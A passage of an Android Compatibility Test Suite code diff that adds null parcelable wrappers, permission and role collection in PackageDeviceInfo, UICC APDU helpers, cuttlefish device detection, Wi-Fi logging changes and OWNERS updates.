+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link Activity} for clients
+ * which do not need to actually use the {@link Activity} param or return value.
+ */
+@CustomParcelableWrapper(originalType = Activity.class)
+public final class NullParcelableActivity implements Parcelable {
+
+    /**
+     * Create a wrapper for a given {@link Activity}.
+     */
+    public static <F> NullParcelableActivity of(
+            Bundler bundler, BundlerType type,
+            Activity activity) {
+
+       if (activity != null) {
+           throw new IllegalArgumentException("activity can only be null");
+       }
+
+        return new NullParcelableActivity();
+    }
+
+    private NullParcelableActivity() {
+    }
+
+    public Activity get() {
+        return null;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @SuppressWarnings("rawtypes")
+    public static final Creator<NullParcelableActivity> CREATOR =
+            new Creator<NullParcelableActivity>() {
+                @Override
+                public NullParcelableActivity createFromParcel(Parcel in) {
+                    return new NullParcelableActivity();
+                }
+
+                @Override
+                public NullParcelableActivity[] newArray(int size) {
+                    return new NullParcelableActivity[size];
+                }
+            };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt
new file mode 100644
index 0000000..92692ad
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.os.Handler;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link Handler} for clients
+ * which do not need to actually use the {@link Handler} param or return value.
+ */
+@CustomParcelableWrapper(originalType = Handler.class)
+public final class NullParcelableHandler implements Parcelable {
+
+    /**
+     * Create a wrapper for a given {@link Handler}.
+     */
+    public static <F> NullParcelableHandler of(
+            Bundler bundler, BundlerType type,
+            Handler handler) {
+
+        if (handler != null) {
+            throw new IllegalArgumentException("handler can only be null");
+        }
+
+        return new NullParcelableHandler();
+    }
+
+    private NullParcelableHandler() {
+    }
+
+    public Handler get() {
+        return null;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @SuppressWarnings("rawtypes")
+    public static final Creator<NullParcelableHandler> CREATOR =
+            new Creator<NullParcelableHandler>() {
+                @Override
+                public NullParcelableHandler createFromParcel(Parcel in) {
+                    return new NullParcelableHandler();
+                }
+
+                @Override
+                public NullParcelableHandler[] newArray(int size) {
+                    return new NullParcelableHandler[size];
+                }
+            };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
index 22217a3..7225c75 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
@@ -39,6 +39,11 @@
     public static <F> NullParcelableRemoteDevicePolicyManager of(
             Bundler bundler, BundlerType type,
             RemoteDevicePolicyManager remoteDevicePolicyManager) {
+
+        if (remoteDevicePolicyManager != null) {
+            throw new IllegalArgumentException("remoteDevicePolicyManager can only be null");
+        }
+
         return new NullParcelableRemoteDevicePolicyManager();
     }
 
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 32e41a1..fbff1c4 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -15,8 +15,10 @@
  */
 package com.android.compatibility.common.deviceinfo;
 
+import android.Manifest;
 import android.annotation.TargetApi;
 import android.app.admin.DevicePolicyManager;
+import android.app.role.RoleManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.ApplicationInfo;
@@ -25,12 +27,16 @@
 import android.content.pm.PermissionInfo;
 import android.os.Build;
 import android.os.Process;
+
 import com.android.compatibility.common.util.DeviceInfoStore;
 import com.android.compatibility.common.util.PackageUtil;
 
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -42,7 +48,8 @@
 public class PackageDeviceInfo extends DeviceInfo {
 
     private static final String PLATFORM = "android";
-    private static final String PLATFORM_PERMISSION_PREFIX = "android.";
+    private static final String PLATFORM_ANDROID_PERMISSION_PREFIX = "android.permission.";
+    private static final String PLATFORM_MANIFEST_PERMISSION_PREFIX = "android.Manifest.permission.";
 
     private static final String PACKAGE = "package";
     private static final String NAME = "name";
@@ -53,17 +60,23 @@
     private static final String TARGET_SDK = "target_sdk";
 
     private static final String REQUESTED_PERMISSIONS = "requested_permissions";
+    private static final String DEFINED_PERMISSIONS = "defined_permissions";
     private static final String PERMISSION_NAME = "name";
     private static final String PERMISSION_FLAGS = "flags";
     private static final String PERMISSION_GROUP = "permission_group";
     private static final String PERMISSION_PROTECTION = "protection_level";
     private static final String PERMISSION_PROTECTION_FLAGS = "protection_level_flags";
+    private static final String PERMISSION_IS_GRANTED = "is_granted";
+
 
     private static final String PERMISSION_TYPE = "type";
     private static final int PERMISSION_TYPE_SYSTEM = 1;
     private static final int PERMISSION_TYPE_OEM = 2;
     private static final int PERMISSION_TYPE_CUSTOM = 3;
 
+    private static final String REQUESTED_ROLES = "requested_roles";
+    private static final String ROLE_NAME = "name";
+
     private static final String HAS_SYSTEM_UID = "has_system_uid";
 
     private static final String SHARES_INSTALL_PERMISSION = "shares_install_packages_permission";
@@ -82,6 +95,21 @@
     private static final String CONFIG_ACCESSIBILITY_SERVICE = "config_defaultAccessibilityService";
     private static final String DEFAULT_ACCESSIBILITY_SERVICE = "is_default_accessibility_service";
 
+    private static final HashSet<String> ADDITIONAL_ANDROID_PERMISSIONS = new HashSet<>(Arrays.asList(new String[] {
+        "com.android.voicemail.permission.ADD_VOICEMAIL",
+        "com.android.voicemail.permission.WRITE_VOICEMAIL",
+        "com.android.voicemail.permission.READ_VOICEMAIL",
+        "com.android.browser.permission.READ_HISTORY_BOOKMARKS",
+        "com.android.browser.permission.WRITE_HISTORY_BOOKMARKS",
+        "com.android.alarm.permission.SET_ALARM",
+        "com.android.launcher.permission.INSTALL_SHORTCUT",
+        "com.android.launcher.permission.UNINSTALL_SHORTCUT",
+        "com.android.permission.INSTALL_EXISTING_PACKAGES",
+        "com.android.permission.USE_INSTALLER_V2",
+        "com.android.permission.USE_SYSTEM_DATA_LOADERS",
+        "android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"
+    }));
+
 
     @Override
     protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
@@ -96,6 +124,8 @@
 
         final ComponentName defaultAccessibilityComponent = getDefaultAccessibilityComponent();
 
+        final HashMap<String, List<String>> packageRolesData = getPackageRolesData();
+
         // Platform permission data used to tag permissions information with sourcing information
         final PackageInfo platformInfo = pm.getPackageInfo(PLATFORM , PackageManager.GET_PERMISSIONS);
         final Set<String> platformPermissions = new HashSet<String>();
@@ -109,7 +139,9 @@
             store.addResult(NAME, pkg.packageName);
             store.addResult(VERSION_NAME, pkg.versionName);
 
-            collectPermissions(store, pm, platformPermissions, pkg);
+            collectRequestedPermissions(store, pm, platformPermissions, pkg);
+            collectDefinedPermissions(store, platformPermissions, pkg);
+
             collectionApplicationInfo(store, pm, pkg);
 
             store.addResult(HAS_DEFAULT_NOTIFICATION_ACCESS,
@@ -131,12 +163,14 @@
             String sha256_file = PackageUtil.computePackageFileDigest(pkg);
             store.addResult(SHA256_FILE, sha256_file);
 
+            collectRoles(store, packageRolesData, pkg);
+
             store.endGroup();
         }
         store.endArray(); // "package"
     }
 
-    private static void collectPermissions(DeviceInfoStore store,
+    private static void collectRequestedPermissions(DeviceInfoStore store,
                                            PackageManager pm,
                                            Set<String> systemPermissions,
                                            PackageInfo pkg) throws IOException
@@ -150,20 +184,11 @@
                     final PermissionInfo pi = pm.getPermissionInfo(permission, 0);
 
                     store.startGroup();
-                    store.addResult(PERMISSION_NAME, permission);
-                    writePermissionsDetails(pi, store);
+                    writePermissionsDetails(pi, store, systemPermissions);
 
-                    final boolean isPlatformPermission = systemPermissions.contains(permission);
-                    if (isPlatformPermission) {
-                      final boolean isAndroidPermission = permission.startsWith(PLATFORM_PERMISSION_PREFIX);
-                      if (isAndroidPermission) {
-                        store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
-                      } else {
-                        store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
-                      }
-                    } else {
-                      store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
-                    }
+                    boolean isGranted = pm.checkPermission(
+                            permission, pkg.packageName) == pm.PERMISSION_GRANTED;
+                    store.addResult(PERMISSION_IS_GRANTED, isGranted);
 
                     store.endGroup();
                 } catch (PackageManager.NameNotFoundException e) {
@@ -174,6 +199,27 @@
         store.endArray();
     }
 
+    private static void collectDefinedPermissions(DeviceInfoStore store,
+                                                  Set<String> systemPermissions,
+                                                  PackageInfo pkg) throws IOException {
+        if (pkg.permissions != null && pkg.permissions.length > 0) {
+            store.startArray(DEFINED_PERMISSIONS);
+            for (PermissionInfo permission : pkg.permissions) {
+                if (permission == null) continue;
+                // Ignore "android" package defined AOSP permissions.
+                if (pkg.packageName.equals(PLATFORM)
+                        && isAndroidPermission(permission.name))
+                    continue;
+
+                store.startGroup();
+                writePermissionsDetails(permission, store, systemPermissions);
+                store.endGroup();
+
+            }
+            store.endArray();
+        }
+    }
+
     private static void collectionApplicationInfo(DeviceInfoStore store,
                                                   PackageManager pm,
                                                   PackageInfo pkg) throws IOException {
@@ -225,8 +271,12 @@
         return sharedPermissions.contains(PackageDeviceInfo.INSTALL_PACKAGES_PERMISSION);
     }
 
-    private static void writePermissionsDetails(PermissionInfo pi, DeviceInfoStore store)
-            throws IOException {
+    private static void writePermissionsDetails(PermissionInfo pi,
+                                                DeviceInfoStore store,
+                                                Set<String> systemPermissions) throws IOException {
+        final String permissionName = pi.name;
+        store.addResult(PERMISSION_NAME, permissionName);
+
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
             store.addResult(PERMISSION_FLAGS, pi.flags);
         } else {
@@ -244,6 +294,18 @@
             store.addResult(PERMISSION_PROTECTION_FLAGS,
                     pi.protectionLevel & ~PermissionInfo.PROTECTION_MASK_BASE);
         }
+
+        final boolean isPlatformPermission = systemPermissions.contains(permissionName);
+        if (isPlatformPermission) {
+            final boolean isAndroidPermission = isAndroidPermission(permissionName);
+            if (isAndroidPermission) {
+            store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
+            } else {
+            store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
+            }
+        } else {
+            store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
+        }
     }
 
     private Set<String> getActiveDeviceAdminPackages() {
@@ -291,5 +353,55 @@
                 .getResources()
                 .getIdentifier(name, type, "android");
     }
+
+    /** Return a boolean value to whether the permission is an android permission defined by android package */
+    private static boolean isAndroidPermission(String permissionName) {
+        if(permissionName.startsWith(PLATFORM_ANDROID_PERMISSION_PREFIX)
+            || permissionName.startsWith(PLATFORM_MANIFEST_PERMISSION_PREFIX)
+            || ADDITIONAL_ANDROID_PERMISSIONS.contains(permissionName))
+            return true;
+        return false;
+    }
+
+    private static void collectRoles(DeviceInfoStore store,
+                                     HashMap<String, List<String>> packageRolesData,
+                                     PackageInfo pkg) throws IOException {
+        String packageName = pkg.packageName;
+        if(packageRolesData.containsKey(packageName)) {
+            List<String> roleNames = packageRolesData.get(packageName);
+
+            store.startArray(REQUESTED_ROLES);
+            for(String roleName: roleNames) {
+                store.startGroup();
+                store.addResult(ROLE_NAME, roleName);
+                store.endGroup();
+            }
+            store.endArray();
+        }
+    }
+
+    /*
+        Return a map of PackageName -> List of RoleNames held by that package
+    */
+    private HashMap<String, List<String>> getPackageRolesData() throws Exception {
+        final RoleManager roleManager = getContext().getSystemService(RoleManager.class);
+        HashMap<String, List<String>> packageRolesData = new HashMap<>();
+
+        for(String roleName: RolesUtil.ROLE_NAMES) {
+            List<String> packageNames = getRoleHolders(roleName, roleManager);
+
+            for(String packageName: packageNames) {
+                packageRolesData.putIfAbsent(packageName, new ArrayList<>());
+                packageRolesData.get(packageName).add(roleName);
+            }
+        }
+        return packageRolesData;
+    }
+
+    public static List<String> getRoleHolders(String roleName, RoleManager roleManager) throws Exception {
+        return callWithShellPermissionIdentity(
+                () -> roleManager.getRoleHolders(roleName),
+                        Manifest.permission.MANAGE_ROLE_HOLDERS);
+    }
 }
 
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java
new file mode 100644
index 0000000..65531d5
--- /dev/null
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java
@@ -0,0 +1,47 @@
+package com.android.compatibility.common.deviceinfo;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+public class RolesUtil {
+    public final static List<String> ROLE_NAMES = new ArrayList<>(Arrays.asList(new String[] {
+        "android.app.role.ASSISTANT",
+        "android.app.role.AUTOMOTIVE_NAVIGATION",
+        "android.app.role.BROWSER",
+        "android.app.role.CALL_REDIRECTION",
+        "android.app.role.CALL_SCREENING",
+        "android.app.role.COMPANION_DEVICE_APP_STREAMING",
+        "android.app.role.COMPANION_DEVICE_COMPUTER",
+        "android.app.role.COMPANION_DEVICE_WATCH",
+        "android.app.role.DEVICE_POLICY_MANAGEMENT",
+        "android.app.role.DIALER",
+        "android.app.role.EMERGENCY",
+        "android.app.role.HOME",
+        "android.app.role.SMS",
+        "android.app.role.SYSTEM_ACTIVITY_RECOGNIZER",
+        "android.app.role.SYSTEM_AMBIENT_AUDIO_INTELLIGENCE",
+        "android.app.role.SYSTEM_APP_PROTECTION_SERVICE",
+        "android.app.role.SYSTEM_AUDIO_INTELLIGENCE",
+        "android.app.role.SYSTEM_AUTOMOTIVE_CALENDAR_SYNC_MANAGER",
+        "android.app.role.SYSTEM_AUTOMOTIVE_CLUSTER",
+        "android.app.role.SYSTEM_AUTOMOTIVE_PROJECTION",
+        "android.app.role.SYSTEM_COMPANION_DEVICE_PROVIDER",
+        "android.app.role.SYSTEM_CONTACTS",
+        "android.app.role.SYSTEM_DOCUMENT_MANAGER",
+        "android.app.role.SYSTEM_GALLERY",
+        "android.app.role.SYSTEM_NOTIFICATION_INTELLIGENCE",
+        "android.app.role.SYSTEM_SETTINGS_INTELLIGENCE",
+        "android.app.role.SYSTEM_SHELL",
+        "android.app.role.SYSTEM_SPEECH_RECOGNIZER",
+        "android.app.role.SYSTEM_SUPERVISION",
+        "android.app.role.SYSTEM_TELEVISION_NOTIFICATION_HANDLER",
+        "android.app.role.SYSTEM_TELEVISION_REMOTE_SERVICE",
+        "android.app.role.SYSTEM_TEXT_INTELLIGENCE",
+        "android.app.role.SYSTEM_UI",
+        "android.app.role.SYSTEM_UI_INTELLIGENCE",
+        "android.app.role.SYSTEM_VISUAL_INTELLIGENCE",
+        "android.app.role.SYSTEM_WELLBEING",
+        "android.app.role.SYSTEM_WIFI_COEX_MANAGER",
+    }));
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
index d620219..0c7cfdd 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
@@ -52,6 +52,7 @@
         String uriPath = String.format("%s/%s/%s.dynamic", CONTENT_PROVIDER, configFolder.getAbsolutePath(), moduleName);
         Uri sdcardUri = Uri.parse(uriPath);
         Context appContext = InstrumentationRegistry.getTargetContext();
+        FileNotFoundException original = null;
         try {
             ContentResolver resolver = appContext.getContentResolver();
             ParcelFileDescriptor descriptor = resolver.openFileDescriptor(sdcardUri,"r");
@@ -61,9 +62,17 @@
         } catch (FileNotFoundException e) {
             // Log the error and use the fallback too
             Log.e("DynamicConfigDeviceSide", "Error while using content provider for config", e);
+            original = e;
         }
         // Fallback to the direct search
-        File configFile = getConfigFile(configFolder, moduleName);
-        initializeConfig(configFile);
+        try {
+            File configFile = getConfigFile(configFolder, moduleName);
+            initializeConfig(configFile);
+            return;
+        } catch (FileNotFoundException e) {
+            Log.e("DynamicConfigDeviceSide", "Failed the direct search fallback for " + moduleName);
+        }
+        // Throw the original exception as it was the expected one.
+        throw original;
     }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
index c4487da..488c73f 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
@@ -1496,8 +1496,8 @@
 
     /*
      *  Some parts of media CTS verifies device characterization that does not make sense for
-     *  non-production devices (such as GSI). We call these devices 'frankenDevices'. We may
-     *  also limit test duration on these devices.
+     *  non-production devices (such as GSI and cuttlefish). We call these devices 'frankenDevices'.
+     *  We may also limit test duration on these devices.
      */
     public static boolean onFrankenDevice() throws IOException {
         String systemBrand = PropertyUtil.getProperty("ro.product.system.brand");
@@ -1510,6 +1510,10 @@
             if (systemExtProduct != null) {
                 systemProduct = systemExtProduct;
             }
+            String systemExtModel = PropertyUtil.getProperty("ro.product.system_ext.model");
+            if (systemExtModel != null) {
+                systemModel = systemExtModel;
+            }
         }
 
         if (("Android".equals(systemBrand) || "generic".equals(systemBrand) ||
@@ -1518,6 +1522,13 @@
                 systemModel.startsWith("GSI on ") || systemProduct.startsWith("gsi_"))) {
             return true;
         }
+
+        // Return true for cuttlefish instances
+        if ((systemBrand.equals("Android") || systemBrand.equals("google")) &&
+                (systemProduct.startsWith("cf_") || systemProduct.startsWith("aosp_cf_") ||
+                        systemModel.startsWith("Cuttlefish "))) {
+            return true;
+        }
         return false;
     }
 
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiccUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiccUtil.java
index 610ce88..4adab28 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiccUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiccUtil.java
@@ -27,23 +27,78 @@
 
 /** Utility class for common UICC- and SIM-related operations. */
 public final class UiccUtil {
+
     // A table mapping from a number to a hex character for fast encoding hex strings.
     private static final char[] HEX_CHARS = {
-            '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
+        '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
     };
 
-    /** The hashes of all supported CTS UICC test keys and their corresponding specification. */
+    /**
+     * Data class representing a single APDU transmission.
+     *
+     * <p>Constants are defined in TS 102 221 Section 10.1.2.
+     */
+    public static final class ApduCommand {
+        public static final int INS_GET_RESPONSE = 0xC0;
+
+        public final int cla;
+        public final int ins;
+        public final int p1;
+        public final int p2;
+        public final int p3;
+        @Nullable public final String data;
+
+        public ApduCommand(int cla, int ins, int p1, int p2, int p3, @Nullable String data) {
+            this.cla = cla;
+            this.ins = ins;
+            this.p1 = p1;
+            this.p2 = p2;
+            this.p3 = p3;
+            this.data = data;
+        }
+
+        @Override
+        public String toString() {
+            return "cla=0x"
+                    + Integer.toHexString(cla)
+                    + ", ins=0x"
+                    + Integer.toHexString(ins)
+                    + ", p1=0x"
+                    + Integer.toHexString(p1)
+                    + ", p2=0x"
+                    + Integer.toHexString(p2)
+                    + ", p3=0x"
+                    + Integer.toHexString(p3)
+                    + ", data="
+                    + data;
+        }
+    }
+
+    /** Various APDU status words and their meanings, as defined in TS 102 221 Section 10.2.1 */
+    public static final class ApduResponse {
+        public static final String SW1_MORE_RESPONSE = "61";
+
+        public static final String SW1_SW2_OK = "9000";
+        public static final String SW1_OK_PROACTIVE_COMMAND = "91";
+    }
+
+    /**
+     * The hashes of all supported CTS UICC test keys and their corresponding specification.
+     *
+     * <p>For up-to-date information about the CTS SIM specification, please see
+     * https://source.android.com/devices/tech/config/uicc#validation.
+     */
     @StringDef({UiccCertificate.CTS_UICC_LEGACY, UiccCertificate.CTS_UICC_2021})
     public @interface UiccCertificate {
 
         /**
          * Indicates compliance with the "legacy" CTS UICC specification (prior to 2021).
          *
-         * <p>Deprecated as of 2021, support to be removed in 2022.
-         *
          * <p>Corresponding certificate: {@code aosp-testkey}.
+         *
+         * @deprecated as of 2021, and no longer supported as of 2022.
          */
-        String CTS_UICC_LEGACY = "61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81";
+        @Deprecated String CTS_UICC_LEGACY = "61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81";
 
         /**
          * Indicates compliance with the 2021 CTS UICC specification.
@@ -83,16 +138,15 @@
      * Converts a byte array into a String of hexadecimal characters.
      *
      * @param bytes an array of bytes
-     *
      * @return hex string representation of bytes array
      */
     @Nullable
     public static String bytesToHexString(@Nullable byte[] bytes) {
         if (bytes == null) return null;
 
-        StringBuilder ret = new StringBuilder(2*bytes.length);
+        StringBuilder ret = new StringBuilder(2 * bytes.length);
 
-        for (int i = 0 ; i < bytes.length ; i++) {
+        for (int i = 0; i < bytes.length; i++) {
             int b;
             b = 0x0f & (bytes[i] >> 4);
             ret.append(HEX_CHARS[b]);
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
index 5aa36c9..30084ea 100755
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
@@ -27,6 +27,7 @@
 import android.net.Uri;
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
+import android.os.Process;
 import android.text.TextUtils;
 import android.util.Log;
 
@@ -61,6 +62,7 @@
 
     private final Context mContext;
     private final WifiManager mWifiManager;
+    private WifiManager mCurrentUserWifiManager;
 
     public WifiConfigCreator(Context context) {
         this(context, context.getApplicationContext().getSystemService(WifiManager.class));
@@ -69,6 +71,15 @@
     public WifiConfigCreator(Context context, WifiManager wifiManager) {
         mContext = context;
         mWifiManager = wifiManager;
+        mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class);
+        Log.d(TAG, "WifiConfigCreator: user=" + Process.myUserHandle() + ", ctx=" + context
+                + ", mgr=" + mWifiManager + ", currentUserMgr=" + mCurrentUserWifiManager);
+    }
+
+    @Override
+    public String toString() {
+        return "WifiConfigCreator[mWifiManager=" + mWifiManager
+                + ",mCurrentUserWifiManager=" + mCurrentUserWifiManager + "]";
     }
 
     /**
@@ -81,6 +92,7 @@
 
         WifiConfiguration wifiConf = createConfig(ssid, hidden, securityType, password);
 
+        Log.i(TAG, "Adding SSID " + ssid + " using " + mWifiManager);
         int netId = mWifiManager.addNetwork(wifiConf);
 
         if (netId != -1) {
@@ -303,15 +315,17 @@
     }
 
     private List<WifiConfiguration> getConfiguredNetworksWithLogging() {
-        Log.d(TAG, "calling getConfiguredNetworks()");
-        List<WifiConfiguration> configuredNetworks = getConfiguredNetworks();
+        Log.d(TAG, "calling getConfiguredNetworks() using " + mCurrentUserWifiManager);
+        // Must use a the WifiManager of the current user to list networks, as
+        // getConfiguredNetworks() would return empty on systems using headless system
+        // mode as that method "Return a list of all the networks configured for the current
+        // foreground user", and the system user is running in the background in this case.
+        List<WifiConfiguration> configuredNetworks = mCurrentUserWifiManager
+                .getConfiguredNetworks();
         Log.d(TAG, "Got " + configuredNetworks.size() + " networks: "
-                + configuredNetworks.stream().map((c) -> c.SSID).collect(Collectors.toList()));
+                + configuredNetworks.stream().map((c) -> c.SSID + "/" + c.networkId)
+                        .collect(Collectors.toList()));
         return configuredNetworks;
     }
-
-    public List<WifiConfiguration> getConfiguredNetworks() {
-        return mWifiManager.getConfiguredNetworks();
-    }
 }
 
diff --git a/hostsidetests/adb/OWNERS b/hostsidetests/adb/OWNERS
index b07c3bb..5050f5c 100644
--- a/hostsidetests/adb/OWNERS
+++ b/hostsidetests/adb/OWNERS
@@ -1,3 +1,3 @@
 # Bug component: 1352
-jmgao@google.com
+shaju@google.com
 include platform/system/core:/janitors/OWNERS
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index e4d9d04..82aa6e6 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -1,41 +1,56 @@
 # Bug component: 533114
-toddke@google.com
+# Bug component: 36137 = per-file ApplicationVisibilityTest.java
+# Bug component: 36137 = per-file BaseInstallMultiple.java
+# Bug component: 568761 = per-file CorruptApkTests.java
+# Bug component: 36137 = per-file EphemeralTest.java
+# Bug component: 36137 = per-file InstantAppUserTest.java
+# Bug component: 36137 = per-file InstantCookieHostTest.java
+# Bug component: 36137 = per-file IsolatedSplitsTests.java
+# Bug component: 36137 = per-file MajorVersionTest.java
+# Bug component: 568631 = per-file OverlayHostTest.java
+# Bug component: 36137 = per-file Package*
+# Bug component: 36137 = per-file Pkg*
+# Bug component: 36137 = per-file PrivilegedUpdateTests.java
+# Bug component: 36137 = per-file SharedUserIdTest.java
+# Bug component: 36137 = per-file SplitTests.java
+
 patb@google.com
-per-file AccessSerialNumberTest.java = moltmann@google.com
+per-file AccessSerialNumberTest.java = ashfall@google.com
 per-file ApexSignatureVerificationTest.java = dariofreni@google.com
-per-file ApplicationVisibilityTest.java = toddke@google.com,patb@google.com
 per-file AppDataIsolationTests.java = rickywai@google.com,alanstokes@google.com
-per-file AppOpsTest.java = moltmann@google.com
+per-file AppOpsTest.java = ashfall@google.com
 per-file AppSecurityTests.java = cbrubaker@google.com
 per-file AuthBoundKeyTest.java = file:test-apps/AuthBoundKeyApp/OWNERS
-per-file BaseInstallMultiple.java = toddke@google.com,patb@google.com
-per-file CorruptApkTests.java = rtmitchell@google.com
 per-file DeviceIdentifierTest.java = cbrubaker@google.com
-per-file EphemeralTest.java = toddke@google.com,patb@google.com
 per-file ExternalStorageHostTest.java = nandana@google.com
 per-file ExternalStorageHostTest.java = zezeozue@google.com
-per-file InstantAppUserTest.java = toddke@google.com,patb@google.com
-per-file InstantCookieHostTest.java = toddke@google.com,patb@google.com
-per-file IsolatedSplitsTests.java = patb@google.com,toddke@google.com
 per-file KeySetHostTest.java = cbrubaker@google.com
 per-file ListeningPortsTest.java = cbrubaker@google.com
-per-file MajorVersionTest.java = toddke@google.com,patb@google.com
-per-file OverlayHostTest.java = rtmitchell@google.com
-per-file Package* = chiuwinson@google.com,patb@google.com,toddke@google.com
-per-file PermissionsHostTest.java = moltmann@google.com
-per-file Pkg* = chiuwinson@google.com,patb@google.com,toddke@google.com
+per-file PermissionsHostTest.java = ashfall@google.com
 per-file PkgInstallSignatureVerificationTest.java = cbrubaker@google.com
-per-file PrivilegedUpdateTests.java = toddke@google.com,patb@google.com
-per-file ReviewPermissionHelper = moltmann@google.com
-per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
-per-file SharedUserIdTest.java = toddke@google.com,patb@google.com
-per-file SplitTests.java = patb@google.com,toddke@google.com,patb@google.com
+per-file RequestsOnlyCalendarApp22.java = ashfall@google.com
 per-file UseEmbeddedDexTest.java = victorhsieh@google.com
+# Package Manager
+per-file ApplicationVisibilityTest.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file BaseInstallMultiple.java =  chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file EphemeralTest.java =  chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file InstantAppUserTest.java =  chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file InstantCookieHostTest.java =  chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file IsolatedSplitsTests.java = chiuwinson@google.com, patb@google.com, schfan@google.com
